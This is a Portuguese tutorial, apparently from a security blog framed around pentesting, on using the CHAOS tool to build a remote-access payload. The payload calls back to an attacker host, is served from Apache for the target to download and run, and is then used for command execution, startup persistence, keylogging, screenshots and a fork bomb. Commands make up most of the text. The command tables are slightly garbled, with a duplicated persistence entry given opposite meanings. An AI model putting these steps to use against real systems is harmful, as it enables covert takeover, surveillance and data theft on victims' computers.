O CHAOS é uma ferramenta desenvolvida em GO e tem como objetivo gerar payloads para Windows, Linux e MAC de forma simples e prática e pode lhe auxiliar durante um PenTest.
Neste artigo eu mostro apenas alguns dos recursos que a ferramenta disponibiliza, vale a pena explorá-la.
Projeto : github.com/tiagorlampert/CHAOS
Realize a instalação dos pacotes e necessários para iniciar o CHAOS.
Linuxapt-get install golang git go-dep

Realize o download do projeto utilizando o comando go.
Linuxgo get github.com/tiagorlampert/CHAOS cd ~/go/src/github.com/tiagorlampert/CHAOS

Verifique se há dependências antes da execução do CHAOS.
Linuxdep ensure

Execute o CHAOS.
Linuxgo run main.go


O CHAOS é bem didático, assim que você começa a digitar os comandos é exibida a descrição e os parâmetros disponíveis para cada comando.
Linuxchaos > generate

Gerando um payload para Windows.
Linuxchaos > generate lhost=192.168.0.100 lport=4444 fname=100security —-windows
IP do Kali Linux: 192.168.0.100
Porta: 4444
Nome do Payload: 100security.exe
Tipo do SO: –-windows

Disponibilizando o arquivo 100security.exe no diretório do Apache para executar no host alvo.
Linuxmv build/Windows/100security/100security.exe /var/www/html/

Basta entrar no host alvo e realizar o download e executar o arquivo 100security.exe
http://kali
Execute o CHAOS novamente e digite o comando abaixo para que a conexão seja estabelecida.
Linuxgo run main.go chaos > listen lport=4444


Execute os comandos abaixo para explorar o host alvo.
Linuxchaos > whoami (Exibe o nome do usuário logado) chaos > getos (Exibe o SIiema Operacional e o Hostname do alvo)

Abrindo uma URL no host alvo.
Linuxchaos > openurl [ ? ] Type URL to open: http://www.100security.com.br

Para deixar o arquivo em execução na inicialização do Windows basta digitar o comando :
Linuxchaos > persistence_enable

| Comando | Descrição |
| generate | Gerar o payload (ex: generate lhost=192.168.0.100 lport=8080 fname=chaos --windows) |
| lhost= | Define o IP do Servidor de conexão "Atacante" |
| lport= | Define a porta do Servidor de conexão "Atacante" |
| fname= | Define o nome do arquivo de saída |
| --windows | Alvo Windows |
| --macos | Alvo Mac OS |
| --linux | Alvo Linux |
| listen | Escuta uma nova conexão (ex: lister lport=8080) |
| serve | Publica os arquivos |
| exit | Sair |
| Comando | Descrição |
| download | Download do Arquivo |
| upload | Upload do Arquivo |
| screenshot | Tira um Screenshot da tela |
| keylogger_start | Iniciar a Captura |
| keylogger_show | Exibe os dados capturados |
| persistence_enable | Instala o payload na Inicialização |
| persistence_enable | Remove o payload da Inicialização |
| getos | Obtem a versão do Sistema Operaiconal |
| lockscreen | Bloqueia a Tela |
| openurl | Abre uma URL |
| openurl | Abre uma URL |
| bomb | Executa o Fork |
| clear | Limpa a tela |
| back | Sai mas continua executando no alvo |
| exit | Encerra a conexão e Sai |